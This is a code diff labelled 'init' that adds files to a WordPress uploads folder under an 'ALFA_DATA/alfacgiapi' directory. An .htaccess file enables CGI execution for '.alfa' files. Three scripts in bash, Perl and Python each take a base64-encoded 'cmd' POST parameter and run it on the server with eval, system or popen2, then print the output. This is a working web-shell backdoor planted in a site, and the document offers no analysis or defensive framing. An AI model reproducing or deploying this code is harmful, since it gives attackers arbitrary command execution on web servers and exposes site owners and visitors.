init

wp-content/uploads/2022/02/ALFA_DATA/alfacgiapi/.htaccess

@@ -0,0 +1,4 @@
+#Coded By Sole Sad & Invisible
+Options FollowSymLinks MultiViews Indexes ExecCGI
+AddType application/x-httpd-cgi .alfa
+AddHandler cgi-script .alfa

wp-content/uploads/2022/02/ALFA_DATA/alfacgiapi/bash.alfa

@@ -0,0 +1,60 @@
+#!/bin/bash
+echo -e "Content-type: text/html\n\n"
+function cgi_get_POST_vars(){
+    [ "$REQUEST_METHOD" != "POST" ] && return
+    [ ! -z "$QUERY_STRING_POST" ] && return
+    [ -z "$CONTENT_LENGTH" ] && return
+	read -N $CONTENT_LENGTH QUERY_STRING_POST
+    return
+}
+function cgi_decodevar(){
+    [ $# -ne 1 ] && return
+    local v t h
+    t="${1//+/ }%%"
+    while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
+        v="${v}${t%%\%*}"
+        t="${t#*%}"
+        if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
+            h=${t:0:2}
+            t="${t:2}"
+            v="${v}"`echo -e \\\\x${h}`
+        fi
+    done
+    echo "${v}"
+    return
+}
+function cgi_getvars(){
+    [ $# -lt 2 ] && return
+    local q p k v s
+    case $1 in
+        GET)
+            [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
+            ;;
+        POST)
+            cgi_get_POST_vars
+            [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
+            ;;
+        BOTH)
+            [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
+            cgi_get_POST_vars
+            [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
+            ;;
+    esac
+    shift
+    s=" $* "
+    while [ ! -z "$q" ]; do
+        p="${q%%&*}"
+        k="${p%%=*}"
+        v="${p#*=}"
+        q="${q#$p&*}"
+        [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
+            export "$k"="`cgi_decodevar \"$v\"`"
+    done
+    return
+}
+cgi_getvars POST ALL
+query=$(echo $cmd | base64 --decode)
+echo $(echo $check | base64 --decode)
+echo -e "<pre>\c"
+eval ${query}
+echo -e "</pre>\c"

wp-content/uploads/2022/02/ALFA_DATA/alfacgiapi/perl.alfa

@@ -0,0 +1,2 @@
+#!/usr/bin/perl   -I/usr/local/bandmin
+use MIME::Base64;print "Content-type: text/html\n\n";if($ENV{'REQUEST_METHOD'} eq "POST"){my ($i, $key, $val, $in);read(STDIN, $in, $ENV{'CONTENT_LENGTH'});@in = split(/&/, $in);foreach $i (0 .. $#in){$in[$i] =~ s/\+/ /g;($key, $val) = split(/=/, $in[$i], 2);$key =~ s/%(..)/pack("c", hex($1))/ge;$val =~ s/%(..)/pack("c", hex($1))/ge;$in{$key} .= "\0" if (defined($in{$key}));$in{$key} .= $val;}if($in{"cmd"}){print decode_base64($in{"check"})."<pre>";system(decode_base64($in{"cmd"}));print "</pre>"}}

wp-content/uploads/2022/02/ALFA_DATA/alfacgiapi/py.alfa

@@ -0,0 +1,18 @@
+#!/usr/bin/python
+try:
+	import cgitb; cgitb.enable()
+except:
+	pass
+import os,cgi,base64
+form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
+cmd = form.getvalue('cmd')
+check = form.getvalue('check')
+print "Content-type:text/html\r\n\r\n"
+if cmd:
+	print base64.b64decode(check)+"<pre>"
+	child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
+	child_stdin.close()
+	result = child_stdout.read()
+	child_stdout.close()
+	print result.strip()
+	print "</pre>"